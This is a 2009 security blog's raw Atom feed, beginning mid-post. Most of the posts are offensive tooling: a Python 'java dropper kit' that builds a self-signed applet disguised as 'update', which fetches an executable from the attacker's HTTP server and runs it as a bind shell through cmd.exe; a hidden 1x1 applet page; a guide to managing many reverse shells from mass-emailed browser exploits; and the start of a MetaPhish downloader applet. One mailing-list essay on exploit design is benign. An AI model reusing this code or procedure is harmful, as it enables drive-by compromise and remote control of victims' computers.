inps;&lt;br /&gt;        this.outs = outs;&lt;br /&gt;    }&lt;br /&gt;    public void run()&lt;br /&gt;    {&lt;br /&gt;        BufferedReader bufr = null;&lt;br /&gt;        BufferedWriter bufw = null;&lt;br /&gt;        try&lt;br /&gt;        {&lt;br /&gt;            bufr = new BufferedReader(new InputStreamReader(inps));&lt;br /&gt;            bufw = new BufferedWriter(new OutputStreamWriter(outs));&lt;br /&gt;            char buffer[] = new char[8192];&lt;br /&gt;            int lenRead;&lt;br /&gt;           &lt;br /&gt;            while((lenRead = bufr.read(buffer, 0, buffer.length)) != -1)&lt;br /&gt;            {&lt;br /&gt;                bufw.write(buffer, 0, lenRead);&lt;br /&gt;                bufw.flush();&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;        catch(Exception ioe)&lt;br /&gt;        {&lt;br /&gt;            System.out.println("ioe3: " + ioe);&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        try&lt;br /&gt;        {&lt;br /&gt;                if(bufr != null) bufr.close();&lt;br /&gt;                if(bufw != null) bufw.close();&lt;br /&gt;        }&lt;br /&gt;        catch (IOException ioe)&lt;br /&gt;        {&lt;br /&gt;            System.out.println("ioe4: " + ioe);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;///////////////////////////////////&lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-2571110756344528584?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/2571110756344528584/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=2571110756344528584' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/2571110756344528584'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/2571110756344528584'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/07/java-applet-bindshell-reverseshell.html' title='java applet bindshell / reverseshell'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-3162337025467471748</id><published>2009-07-21T16:16:00.002-04:00</published><updated>2009-07-21T16:19:00.358-04:00</updated><title type='text'></title><content type='html'>#!/usr/bin/python&lt;br /&gt;&lt;br /&gt;"""&lt;br /&gt;this is based on val smith pre-metaphish stuff.  And of course python roughly corrisponds to the Aitel book of style&lt;br /&gt;"""&lt;br /&gt;&lt;br /&gt;import os,socket&lt;br /&gt;&lt;br /&gt;class jvd ():&lt;br /&gt;&lt;br /&gt;    def __init__(self):&lt;br /&gt;        self.localurl =&amp;quot; &amp;quot;&lt;br /&gt;        self.iName = &amp;quot; &amp;quot;&lt;br /&gt;        self.certName = &amp;quot; &amp;quot;&lt;br /&gt;        self.command = &amp;quot; &amp;quot;&lt;br /&gt; self.command_args = &amp;quot; &amp;quot;&lt;br /&gt; self.base_name = &amp;quot;update&amp;quot; # base java file name&lt;br /&gt; self.java_name = self.base_name + &amp;quot;.java&amp;quot;&lt;br /&gt; self.class_name = self.base_name + &amp;quot;.class&amp;quot;  #class extension&lt;br /&gt; self.unsigned_jarname = self.base_name + &amp;quot;_unsigned_.jar&amp;quot; #jar extenstion&lt;br /&gt; self.signed_jarname = self.base_name + &amp;quot;.jar&amp;quot; &lt;br /&gt;  &lt;br /&gt;    def write_file(self,name, data):&lt;br /&gt;        fh = open(name, 'w')&lt;br /&gt;        fh.write(data)&lt;br /&gt;        fh.close  &lt;br /&gt; print &amp;quot;[*] wrote to &amp;quot; + name &lt;br /&gt;       &lt;br /&gt;    def jcode(self,command,command_args,filename):    &lt;br /&gt;        javacode = \&lt;br /&gt;        'import java.applet.Applet;' +&amp;quot;\n&amp;quot; \&lt;br /&gt;        'import java.io.*;' + &amp;quot;\n&amp;quot;\&lt;br /&gt;        'import java.net.*;'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'import java.io.IOException;'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'public class update extends Applet {' + &amp;quot;\n&amp;quot;\&lt;br /&gt;        'public update()  { }' +&amp;quot;\n&amp;quot; \&lt;br /&gt;        'public void init() { downloadURL(); cmd();'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        '} /* end public void init */'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'public void downloadURL() {'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'OutputStream out = null;'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'URLConnection conn = null;'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'InputStream  in = null;'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'try {'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'String geturi = getParameter(&amp;quot;URI&amp;quot;);'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'URL url = new URL(geturi);'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'String localfile = getParameter(&amp;quot;LOCALFILE&amp;quot;);'+&amp;quot;\n&amp;quot; \&lt;br /&gt; 'if (localfile == null) { localfile = &amp;quot;'+ command + '&amp;quot;;}' &amp;quot;\n&amp;quot; \&lt;br /&gt;        'out = new BufferedOutputStream('+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'new FileOutputStream(localfile));'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'conn = url.openConnection();'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'in = conn.getInputStream();'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'byte[] buffer = new byte[1024];'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'int numRead;'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'long numWritten = 0;'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'while ((numRead = in.read(buffer)) != -1) {'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'out.write(buffer, 0, numRead);'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'numWritten += numRead;'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        '} /* end while */'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        '} /* end try */'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'catch (Exception exception) {'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'exception.printStackTrace();'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        '} /* end catch */'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'finally {'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'try {'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'if (in != null) {'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'in.close();'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        '} /* end if */'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'if (out != null) {'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'out.close();'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        '} /* end if */'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        '} /* end try */'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'catch (IOException ioe) { }'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        '} /* end finally */'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        '} /* end public void downloadURL */'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'public void cmd() {'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'Process process;'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'try  {'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'process = Runtime.getRuntime().exec(&amp;quot;cmd.exe /c ' + command + ' ' +  command_args + '&amp;quot;);'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        '} /* end try */'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        'catch(IOException ioexception) { }'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        '} /* end public void cmd */'+&amp;quot;\n&amp;quot; \&lt;br /&gt;        '} /* end public class */' +&amp;quot;\n&amp;quot;&lt;br /&gt;        self.write_file(filename,javacode)&lt;br /&gt;&lt;br /&gt;        &lt;br /&gt;    &lt;br /&gt;    def sign(self,signed_jar,unsigned_jar,cert):&lt;br /&gt;        signer = &amp;quot;cn=&amp;quot; + cert &lt;br /&gt;        cmd0 = &amp;quot;keytool -genkey -alias signFiles &amp;quot; + \&lt;br /&gt;        &amp;quot;-keystore tkeystore -storepass tstorepass -dname &amp;quot;+ signer + &amp;quot; -keypass tkeypass&amp;quot;&lt;br /&gt;&lt;br /&gt;        cmd1 = &amp;quot;jarsigner -keystore tkeystore &amp;quot; + \&lt;br /&gt;        &amp;quot;-storepass tstorepass -keypass tkeypass -signedjar &amp;quot; + signed_jar + &amp;quot; &amp;quot; + unsigned_jar +&amp;quot; signFiles&amp;quot;&lt;br /&gt;&lt;br /&gt;        &lt;br /&gt; print &amp;quot;[*] executing &amp;quot; + cmd0 &lt;br /&gt; os.system(cmd0)&lt;br /&gt; print &amp;quot;[*] executing &amp;quot; + cmd1 &lt;br /&gt; os.system(cmd1)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def servit(self):&lt;br /&gt; import SimpleHTTPServer&lt;br /&gt; # = 8888&lt;br /&gt; SimpleHTTPServer.test()&lt;br /&gt;&lt;br /&gt;    def javac(self,java_name,class_name):&lt;br /&gt;        javac_cmd = &amp;quot;javac &amp;quot;+ java_name &lt;br /&gt;        os.system(javac_cmd)&lt;br /&gt;        print &amp;quot;[*] compiled &amp;quot; + java_name + &amp;quot; to classfile &amp;quot; + class_name&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;    def jarit(self,jarfile,classfile):&lt;br /&gt; jar_cmd = &amp;quot;jar -cvf &amp;quot;+ jarfile + &amp;quot; &amp;quot; + classfile&lt;br /&gt; print &amp;quot;[*] compressing &amp;quot; + jarfile &lt;br /&gt; os.system(jar_cmd)&lt;br /&gt; &lt;br /&gt;    def icode(self,filename,localurl):&lt;br /&gt;        iframecode = \&lt;br /&gt;            '&amp;lt;html&amp;gt;' \&lt;br /&gt;            '&amp;lt;body&amp;gt;' \&lt;br /&gt;            '&amp;lt;APPLET code=&amp;quot;update.class&amp;quot; ' + \&lt;br /&gt;            'archive=&amp;quot;'+ &amp;quot;update.jar&amp;quot; +  '&amp;quot; width=&amp;quot;1&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;' \&lt;br /&gt;            '&amp;lt;PARAM NAME=&amp;quot;URI&amp;quot; VALUE=&amp;quot;'+localurl +' &amp;quot;&amp;gt;' \&lt;br /&gt;            '&amp;lt;/APPLET&amp;gt;' \&lt;br /&gt;            '&amp;lt;/body&amp;gt;' \&lt;br /&gt;            '&amp;lt;/html&amp;gt;'&lt;br /&gt;        self.write_file(filename,iframecode)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;    def run(self):&lt;br /&gt;&lt;br /&gt; self.icode(self.iName,self.localurl)&lt;br /&gt; self.jcode(self.command,self.command_args,self.java_name)&lt;br /&gt; self.javac(self.java_name, self.class_name)&lt;br /&gt; self.jarit(self.unsigned_jarname,self.class_name)&lt;br /&gt; self.sign(self.signed_jarname,self.unsigned_jarname,self.certName)&lt;br /&gt; self.servit()&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;if __name__ == '__main__':&lt;br /&gt;    &lt;br /&gt;    print &amp;quot;[*] inititiating java dropper kit&amp;quot;    &lt;br /&gt;    local_ip_address = socket.gethostbyname(socket.gethostname())&lt;br /&gt;    app = jvd()&lt;br /&gt;    app.base_name = &amp;quot;update&amp;quot;&lt;br /&gt;    app.localurl = &amp;quot;http://&amp;quot;+ local_ip_address +&amp;quot;:8000/sbd.exe&amp;quot;&lt;br /&gt;    app.certName = &amp;quot;\&amp;quot;cert\&amp;quot;&amp;quot;&lt;br /&gt;    app.command = &amp;quot;c:\\\d.exe&amp;quot;&lt;br /&gt;    app.command_args = &amp;quot; -lp 1234 -e cmd.exe&amp;quot;&lt;br /&gt;    app.iName = &amp;quot;index.html&amp;quot;&lt;br /&gt;    app.run()&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-3162337025467471748?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/3162337025467471748/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=3162337025467471748' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/3162337025467471748'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/3162337025467471748'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/07/usrbinpython-this-is-based-on-val-smith.html' title=''/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-5585617749236427626</id><published>2009-07-21T16:04:00.002-04:00</published><updated>2009-07-21T16:06:45.237-04:00</updated><title type='text'>using old msf code for fun</title><content type='html'>Using socketNinja.pl with the Metasploit Framework&lt;br /&gt;http://justfriends4n0w.blogspot.com/2006/01/using-socketninjapl-with-metasploit.html&lt;br /&gt;&lt;br /&gt;Say you want to use an exploit using the Metasploit framework to get a reverse shell, but you don’t want to have the exploit exit when it is done. For example, there are some web browser vulnerabilities. It would be nice to run the exploit (which emulates a web server), send out a URL that contains a link to your (metasploit created) web server, and then send out a thousand e-mails which point people to it. Then, you would want to be able to track the connections that came back and interact with them as needed…&lt;br /&gt;&lt;br /&gt;That is the capability that socketNinja.pl provides.&lt;br /&gt;&lt;br /&gt;Basic concepts and terminology:&lt;br /&gt;&lt;br /&gt;socketNinja machine: The computer you are running socketNinja.pl (probably the same machine you are running Metasploit to accomplish exploits, but not necessarily.)&lt;br /&gt;&lt;br /&gt;Listener: This is a port on your socketNinja machine that is listening. A regular listener is a port that you will redirect reverse shells to.&lt;br /&gt;&lt;br /&gt;Attached Listener: port on your socketNinja machine that you telnet into in order to access the shell on the remote host.&lt;br /&gt;&lt;br /&gt;Server: This is the remote host which you have compromised.&lt;br /&gt;&lt;br /&gt;Client: This machine is connected up to the remote host by telneting or connecting to the attached listener. This is the machine which you are typing commands on to be executed on the remote machine.&lt;br /&gt;&lt;br /&gt;Client-&gt;socketNinja machine attached listener &lt;-socketNinja Listener &lt;- server&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The following commands are available:&lt;br /&gt;&lt;br /&gt;help Shows you all of the commands&lt;br /&gt;help command Shows you help on each command&lt;br /&gt;l Lists your connections&lt;br /&gt;as Adds a server&lt;br /&gt;ar Adds a random attached Listener&lt;br /&gt;li Creates a listener&lt;br /&gt;run Launches a program on an attached Listener&lt;br /&gt;set Sets a config value&lt;br /&gt;sc Prints configuration settings&lt;br /&gt;wc writes the configuration settings to a file&lt;br /&gt;q Quits&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1, If you are on Windows, launch the Cygshell command. In Linux just get a shell. Navigate to the Metasploit Framework/home/framework/tools directory.&lt;br /&gt;&lt;br /&gt;2. run socketNinja.pl&lt;br /&gt;&lt;br /&gt;perl socketNinja.pl –d &lt;socketNinja port to listen on&gt;&lt;br /&gt;&lt;br /&gt;You can use any port on your machine that is not currently being used.&lt;br /&gt;&lt;br /&gt;3, launch msfconsole&lt;br /&gt;&lt;br /&gt;4. Set up an exploit to use socketNinja.pl&lt;br /&gt;&lt;br /&gt;use ie_xp_pfv_reverse&lt;br /&gt;set NinjaDontKill 1&lt;br /&gt;set LHOST &lt;ip of the socketNinja machine&gt;&lt;br /&gt;set LPORT &lt;Listener port on the socketNinja machine&gt;&lt;br /&gt;&lt;br /&gt;set PAYLOAD win32_reverse&lt;br /&gt;exploit&lt;br /&gt;(I left the HTTPPORT at the default of 8080.)&lt;br /&gt;&lt;br /&gt;According to the Metasploit User Guide you can also use NinjaHost and NinjaPort to redirect all communications from an exploit to the host running a SocketNinja listener.&lt;br /&gt;&lt;br /&gt;5. In the shell you are running socketNinja.pl look at your connections by typing l.&lt;br /&gt;&lt;br /&gt;You will see a listing of all your listeners, and who is connected up to them,&lt;br /&gt;&lt;br /&gt;The machines you have exploited are listed under the Server column. The listener you created is in the listener column. Note that each listener has a number. Each server has a number as well. So, the first machine you exploited has a listener # of 0 and a server # of 0. The second machine you exploited has a listener # of 0 and a server # of 1, etc. For now, I am only going to use a single listener with a listener # of 0.&lt;br /&gt;&lt;br /&gt;What you need to do is create an Attached Listener to your server. This will be a port on your own machine that if you telnet to it (or use nc or whatever) will give you a shell on your exploited machine. The easiest way to do this is using the ar command which will attach a listener to a random port. The format for the ar command is&lt;br /&gt;&lt;br /&gt;ar [listener #] [server #]&lt;br /&gt;&lt;br /&gt;ar 0 0&lt;br /&gt;&lt;br /&gt;This command will print out the local port that it has attached a listener on. For example it will print out something like:&lt;br /&gt;&lt;br /&gt;* new listener (5) bound to 127.0.0.1 5217&lt;br /&gt;&lt;br /&gt;Alternatively, you could create a listener on the port of your choosing by using the ac command. The syntax for this is&lt;br /&gt;&lt;br /&gt;ac [listener #] [server #] [ip:]&lt;port&gt;&lt;br /&gt;&lt;br /&gt;So, to create an attached listener on port 5217 this would work:&lt;br /&gt;&lt;br /&gt;ac 0 0 127.0.0.1 5217&lt;br /&gt;&lt;br /&gt;6. nc or telnet into your Attached listener&lt;br /&gt;&lt;br /&gt;telnet 127.0.0.1 5217&lt;br /&gt;or&lt;br /&gt;nc –v 127.0.0.1 5217&lt;br /&gt;&lt;br /&gt;So, in the end, we have something that looks like this:&lt;br /&gt;&lt;br /&gt;Client-&gt;socketNinja machine attached listener (in this case port 5127 on 127.0.0.1) &lt;-socketNinja Listener (in this case 192.168.13.1 50) &lt;- server (in this case 192.168.13.2)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Final notes:&lt;br /&gt;&lt;br /&gt;Apparently, you cannot use SocketNinja.pl with staged payloads. But you can use it with the bind payload or the reverse shell payloads.&lt;br /&gt;&lt;br /&gt;You may want to create multiple listeners. For example, you may have one listener to which you send Windows exploits to and a second listener to which you send Linux exploits to. Then you have an easy way to get find all the Windows exploited hosts for example to target with some other stuff.&lt;br /&gt;&lt;br /&gt;When you are finally connected up to your server and you have a shell, tying exit will kill the shell on the compromised machine. This is probably not what you want to do. Exit your sessions by hitting control-c in nc or using control-[ and then using the quit command in telnet.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-5585617749236427626?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/5585617749236427626/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=5585617749236427626' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/5585617749236427626'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/5585617749236427626'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/07/using-old-msf-code-for-fun.html' title='using old msf code for fun'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-7657776109500589191</id><published>2009-07-14T20:43:00.001-04:00</published><updated>2009-07-14T20:43:50.912-04:00</updated><title type='text'>joanna // daily dave</title><content type='html'>Sure, but there is a difference between "understanding exploits" and being an&lt;br /&gt;exploit fetishist.&lt;br /&gt;&lt;br /&gt;Some time ago I attended a security conference well known for having very&lt;br /&gt;technical audience. I was told the majority of those people are up to date with&lt;br /&gt;all the recent advances in exploitation techniques -- heap overflows, getting&lt;br /&gt;around ASRL/NX, etc. But when I started my lecture, which was about Trusted&lt;br /&gt;Computing, it turned the number of people who knew how TPM works was... close to&lt;br /&gt;zero! And we're talking about some real basic stuff here, nothing fancy like&lt;br /&gt;TXT. Just what a PCR register is, and what are the advantages of trusted boot.&lt;br /&gt;&lt;br /&gt;I actually read recently an interview with a well know researcher, who I&lt;br /&gt;actually respect myself, who happily announced that he's protecting his laptop&lt;br /&gt;using an FDE software, and, to make it more secure, he's powering it down as&lt;br /&gt;often as possible (in order to mitigate possibility of cold-boot attacks).&lt;br /&gt;Interestingly, he didn't realize he actually makes it much easier for even a&lt;br /&gt;hotel maid to get his encryption key... This is so basic and yet have nothing to&lt;br /&gt;do with advanced exploit understanding.&lt;br /&gt;&lt;br /&gt;Now, who do you think can provide more security into an organization, like e.g.&lt;br /&gt;a bank -- a heap-overflow ninja that can bypass ASLR on the most recent Vista,&lt;br /&gt;or a person who would realize that maybe it is worth buying a&lt;br /&gt;trusted-boot-supported full disk encryption (FDE) software, as otherwise it&lt;br /&gt;would be trivial for the *real* adversary to get around it? Or a person that can&lt;br /&gt; tell you that your employees should use 2 different desktop computers and would&lt;br /&gt;be able to decide how to split tasks and activities between the two?&lt;br /&gt;&lt;br /&gt;Sure, experience in exploit writing is sometimes crucial. Probably it is of the&lt;br /&gt;utmost important to e.g. OS kernel architects, who might attempt to build in all&lt;br /&gt;the anti-exploitation technologies into the OS (which is what they do in fact).&lt;br /&gt;Or to processor and chipset vendors. This requires great understanding of&lt;br /&gt;possible workarounds.&lt;br /&gt;&lt;br /&gt;It is also important for governments for obvious reasons.&lt;br /&gt;&lt;br /&gt;But very few people are OS kernel architects and governments offensive teams.&lt;br /&gt;And the further you go, the less you need those extreme skills, which is exploit&lt;br /&gt;writing as it is today. If you are only a *consumer* of computer products (e.g.&lt;br /&gt;a bank, or an airport), then I really see no reason why you should even be able&lt;br /&gt;to understand the difference between a heap overflow vs. stack overflow. You&lt;br /&gt;just need to understand what a shellcode is and what it can potentially do (i.e.&lt;br /&gt;everything). You should understand that SELinux will not provide you all the&lt;br /&gt;promised features, because it has big monolithic TCB (the Linux kernel) that&lt;br /&gt;represents a huge attack vector. But you don't need to know how to write an&lt;br /&gt;exploit for SELinux. etc.&lt;br /&gt;&lt;br /&gt;joanna.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&gt; On Tue, Jul 14, 2009 at 3:07 PM, Joanna&lt;br /&gt;&gt; Rutkowska&lt;joanna@invisiblethingslab.com&gt; wrote:&lt;br /&gt;&gt;&gt; dave wrote:&lt;br /&gt;&gt;&gt;&gt; People (this means you) like to think hard about game changing events in&lt;br /&gt;&gt;&gt;&gt; the world of hacking. But just staying on the treadmill of exploit after&lt;br /&gt;&gt;&gt;&gt; exploit can be a game changing event.&lt;br /&gt;&gt;&gt;&gt;&lt;br /&gt;&gt;&gt;&gt; For example, today you may have noticed that Intevydis&lt;br /&gt;&gt;&gt;&gt; (http://www.intevydis.com/vulndisco.shtml) released as part of their&lt;br /&gt;&gt;&gt;&gt; latest exploit pack, some exploits for all the major access&lt;br /&gt;&gt;&gt;&gt; point/mini-router firmwares. Not CSRF "exploits" or XSS "exploits". I&lt;br /&gt;&gt;&gt;&gt; mean "Here's a shell, now you get to install new programs and muck with&lt;br /&gt;&gt;&gt;&gt; the router's configuration" exploits.&lt;br /&gt;&gt;&gt;&gt;&lt;br /&gt;&gt;&gt;&gt; For a lot of people (not you) it's hard to care about such things. The&lt;br /&gt;&gt;&gt;&gt; inevitable ennui sets in: "oh, not another one", "that one is similar to&lt;br /&gt;&gt;&gt;&gt; one I found in 1992AD", "well, if you had good patch management that's&lt;br /&gt;&gt;&gt;&gt; the best you can do!", etc. etc.&lt;br /&gt;&gt;&gt;&gt;&lt;br /&gt;&gt;&gt;&gt; The magic is in finding each one of these things unique and special and&lt;br /&gt;&gt;&gt;&gt; worth of attention.&lt;br /&gt;&gt;&gt;&gt;&lt;br /&gt;&gt;&gt; ... or, instead of being an exploit fetishist, one might try to design their&lt;br /&gt;&gt;&gt; network in such a way that a compromise of your network devices is not fatal.&lt;br /&gt;&gt;&gt; Same for PDF viewers, browsers, etc. and how you design your computer system.&lt;br /&gt;&gt;&gt;&lt;br /&gt;&gt;&gt; Sure, it's cool to write exploits -- that always impresses people. We also do&lt;br /&gt;&gt;&gt; that at ITL. E.g. we will be showing a couple of VM escape exploits during our&lt;br /&gt;&gt;&gt; upcoming virtualization training (and we really are excited about those&lt;br /&gt;&gt;&gt; exploits!), but the whole point is to illustrate how a good design (in that&lt;br /&gt;&gt;&gt; particular case of your hypervisor) and new technologies (e.g. VT-d or TXT) can&lt;br /&gt;&gt;&gt; mitigate a problem of exploits, even if we cannot find and patch them all.&lt;br /&gt;&gt;&gt;&lt;br /&gt;&gt;&gt; I think one should not forget that an exploit, no matter how cool, is only an&lt;br /&gt;&gt;&gt; illustration of a problem. The actual solutions often have nothing to do with&lt;br /&gt;&gt;&gt; how exploits are written. Do you really think VT-d designers were heap-overflow&lt;br /&gt;&gt;&gt; ninjas? I doubt.&lt;br /&gt;&gt;&gt;&lt;br /&gt;&gt;&gt; joanna.&lt;br /&gt;&gt;&gt;&lt;br /&gt;&gt;&gt;&lt;br /&gt;&gt;&gt;_______________________________________________&lt;br /&gt;&gt;&gt; Dailydave mailing list&lt;br /&gt;&gt;&gt; Dailydave@lists.immunitysec.com&lt;br /&gt;&gt;&gt; http://lists.immunitysec.com/mailman/listinfo/dailydave&lt;br /&gt;&gt;&gt;&lt;br /&gt;&gt;&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-7657776109500589191?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/7657776109500589191/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=7657776109500589191' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/7657776109500589191'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/7657776109500589191'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/07/joanna-daily-dave.html' title='joanna // daily dave'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-377775324696991948</id><published>2009-06-19T09:20:00.004-04:00</published><updated>2009-06-19T09:26:35.541-04:00</updated><title type='text'>MetaPhish -  Pentest Summit 2009</title><content type='html'>These guys did a cool presentation at the SANS pentest summit 09.&lt;br /&gt;&lt;br /&gt;Val Smith (valsmith@attackresearch.com)&lt;br /&gt;Colin Ames (amesc@attackresearch.com)&lt;br /&gt;David Kerb (dkerb@attackresearch.com) &lt;br /&gt;&lt;br /&gt;Here is some of the code from the presentation.  Thanks guys!!!&lt;br /&gt;&lt;br /&gt;import java.applet.Applet;&lt;br /&gt;import java.io.*;&lt;br /&gt;import java.net.*;&lt;br /&gt;import java.io.IOException;&lt;br /&gt;public class WebDispApp extends Applet {&lt;br /&gt;public WebDispApp()  { }&lt;br /&gt;public void init() { downloadURL(); cmd();&lt;br /&gt;} /* end public void init */&lt;br /&gt;public void downloadURL() {&lt;br /&gt;OutputStream out = null;&lt;br /&gt;URLConnection conn = null;&lt;br /&gt;InputStream  in = null;&lt;br /&gt;try {&lt;br /&gt;String geturi = getParameter(&amp;quot;URI&amp;quot;);&lt;br /&gt;URL url = new URL(geturi);&lt;br /&gt;String localfile = getParameter(&amp;quot;LOCALFILE&amp;quot;);&lt;br /&gt;out = new BufferedOutputStream(&lt;br /&gt;new FileOutputStream(localfile));&lt;br /&gt;conn = url.openConnection();&lt;br /&gt;in = conn.getInputStream();&lt;br /&gt;byte[] buffer = new byte[1024];&lt;br /&gt;int numRead;&lt;br /&gt;long numWritten = 0;&lt;br /&gt;while ((numRead = in.read(buffer)) != -1) {&lt;br /&gt;out.write(buffer, 0, numRead);&lt;br /&gt;numWritten += numRead;&lt;br /&gt;} /* end while */&lt;br /&gt;} /* end try */&lt;br /&gt;catch (Exception exception) {&lt;br /&gt;exception.printStackTrace();&lt;br /&gt;} /* end catch */&lt;br /&gt;finally {&lt;br /&gt;try {&lt;br /&gt;if (in 